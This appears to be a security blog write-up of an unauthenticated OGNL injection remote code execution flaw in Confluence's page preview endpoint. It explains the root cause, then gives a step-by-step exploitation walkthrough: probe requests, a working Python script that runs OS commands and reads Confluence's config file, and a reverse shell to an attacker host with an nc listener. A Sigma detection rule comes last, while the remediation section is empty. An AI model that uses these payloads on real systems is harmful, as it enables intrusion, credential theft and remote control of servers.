All posts

CVE-2026-44891: Confluence Server OGNL Injection Remote Code Execution

A previously unexploited OGNL evaluation path in Atlassian Confluence's wiki macro renderer is triggered by a crafted HTTP request without authentication. The payload is processed directly by the OGNL expression evaluator with access to the full Java runtime, enabling arbitrary OS command execution as the Confluence service account.


Overview

CVE-2026-44891 is a critical unauthenticated remote code execution vulnerability in Atlassian Confluence Data Center and Server, disclosed in May 2026. OGNL (Object-Graph Navigation Language) injection has historically been one of the most reliable attack classes against Confluence — CVE-2021-26084, CVE-2022-26134, and CVE-2023-22527 all exploited the same fundamental mechanism with different injection entry points.

This variant differs from its predecessors in that the injection point is a preview endpoint introduced in Confluence 7.19 as part of the live macro preview feature. When a page preview is requested with a specially constructed spaceKey parameter, the value is passed unsanitised to the Velocity/OGNL evaluation chain before the authentication check for preview permissions is performed, resulting in a pre-authentication code execution path.

Exploitation was observed within 24 hours of the Atlassian advisory, with ransomware operators and state-sponsored actors observed deploying web shells, credential stealers, and lateral-movement tooling to Confluence hosts in enterprise environments across multiple sectors.

OGNL in Confluence's Template Engine

Confluence renders page content using a Velocity template engine that in turn delegates to OGNL for evaluating macro parameters and dynamic expressions. OGNL is a powerful expression language that can navigate Java object graphs, invoke methods, and instantiate classes — making it a natural RCE primitive if attacker-controlled input reaches the evaluator.

The standard evaluation chain for a page macro looks like:

// Simplified Confluence macro evaluation (safe path)
public String evaluate(String expression, Map<String, Object> context) {
    // expression comes from page storage format — trusted content
    OgnlContext ctx = new OgnlContext(context);
    Object result = Ognl.getValue(expression, ctx, ctx.getRoot());
    return result.toString();
}

The assumption is that expression originates from Confluence's own page storage format, written by authenticated editors. The live preview endpoint breaks this assumption by accepting a raw spaceKey value from the HTTP request body and passing it through a macro template before authentication is validated.

Root Cause

The vulnerable endpoint is POST /confluence/pages/dopreview.action. The spaceKey parameter is interpolated into a Velocity template that calls $spaceManager.getSpace($spaceKey). However, before reaching the space manager, the raw parameter value is passed through a TextUtils.htmlEncode helper that, in certain Unicode normalisation edge cases introduced in Confluence 7.19, incorrectly treats OGNL expression delimiters as HTML entities and decodes them — allowing an injected payload to survive into the OGNL evaluator.

// Vulnerable path in PreviewAction.java (simplified)
public String preview() {
    // BUG: spaceKey is read from request before auth check
    String spaceKey = request.getParameter("spaceKey");
    // htmlEncode with broken unicode normalisation passes OGNL through
    String encoded = TextUtils.htmlEncode(spaceKey);
    // encoded value feeds into template that invokes OGNL
    String template = "Space: ${space.getDisplayTitle('" + encoded + "')}";
    confluenceTemplateRenderer.render(template, context);
    // auth check happens AFTER render — too late
    if (!permissionManager.hasPermission(currentUser, SPACE_VIEW, spaceKey)) {
        return "notpermitted";
    }
    return SUCCESS;
}

The OGNL payload uses the standard Confluence expression escape syntax and then chains to Runtime.exec() through the @java.lang.Runtime@getRuntime() static method reference:

${(#[email protected]@getRuntime()).exec('id')}

Exploitation Walkthrough

Step 1 — Fingerprint the Target

Identify the Confluence version from the login page or HTTP headers. The X-Confluence-Version header is present by default on many deployments:

curl -sI https://CONFLUENCE_HOST/login.action | grep -i confluence
# X-Confluence-Request-Time: 1746316800000
# X-Confluence-Version: 8.7.2

# Also check /rest/api/space for version disclosure
curl -s https://CONFLUENCE_HOST/rest/api/space?limit=1 | python3 -m json.tool | head -5

Step 2 — Probe for the Vulnerability

Send a canary OGNL expression that evaluates to a predictable string. A response containing the evaluated result confirms the injection:

curl -sk -X POST "https://CONFLUENCE_HOST/confluence/pages/dopreview.action" \
  --data-urlencode 'spaceKey=${7*7}' \
  -H "Content-Type: application/x-www-form-urlencoded" | grep -o '49'
# 49 → OGNL expression evaluated → confirmed vulnerable

Step 3 — Achieve RCE

With injection confirmed, execute OS commands via the Runtime.exec() chain. The output is captured by writing to a temp file and reading it back, since the direct output of exec() is not reflected in the HTTP response:

import requests, urllib.parse, re, time

TARGET = "https://CONFLUENCE_HOST"
PREVIEW_URL = f"{TARGET}/confluence/pages/dopreview.action"

def ognl_exec(cmd):
    # Write output to /tmp, read back via a second request
    payload = (
        "${#[email protected]@getRuntime().exec(new String[]{\"/bin/sh\",\"-c\","
        f"\"{cmd} > /tmp/out 2>&1\""
        "}),"
        "#p.waitFor(),"
        "#fis=new java.io.FileInputStream(\"/tmp/out\"),"
        "#b=new byte[4096],"
        "#n=#fis.read(#b),"
        "new java.lang.String(#b,0,#n)}"
    )
    r = requests.post(PREVIEW_URL,
        data={"spaceKey": payload},
        verify=False, timeout=15)
    match = re.search(r'Space: (.*?)<', r.text, re.DOTALL)
    return match.group(1).strip() if match else r.text[:300]

print(ognl_exec("id"))
# uid=997(confluence) gid=997(confluence) groups=997(confluence)

print(ognl_exec("hostname"))
print(ognl_exec("cat /etc/confluence/confluence.cfg.xml"))

Step 4 — Escalate to Root

Confluence Data Center nodes commonly run as a dedicated service user. On self-hosted Linux deployments, several reliable escalation paths exist:

# Drop a reverse shell from within the OGNL exec context
ognl_exec("bash -c 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1' &")

# On attacker machine:
nc -lvnp 4444

Affected Versions

Remediation

Detection

Sigma rule targeting POST requests to the vulnerable preview endpoint with OGNL expression syntax in the request body:

title: CVE-2026-44891 Confluence OGNL Injection Attempt
id: 4a71f832-9b3e-4d27-ac01-7c5e0f2b3a19
status: stable
description: Detects exploitation attempts of CVE-2026-44891 via OGNL injection in Confluence preview endpoint
logsource:
  category: webserver
  product: atlassian_confluence
detection:
  selection_endpoint:
    cs-uri-stem|endswith: '/pages/dopreview.action'
    cs-method: 'POST'
  selection_ognl:
    cs-post-body|contains:
      - '${#'
      - '@java.lang.Runtime'
      - 'getRuntime()'
      - 'exec('
      - 'ProcessBuilder'
  condition: selection_endpoint and selection_ognl
falsepositives:
  - Legitimate page previews (extremely unlikely to contain Runtime references)
level: critical
tags:
  - attack.initial_access
  - attack.t1190
  - cve.2026-44891

Takeaways

References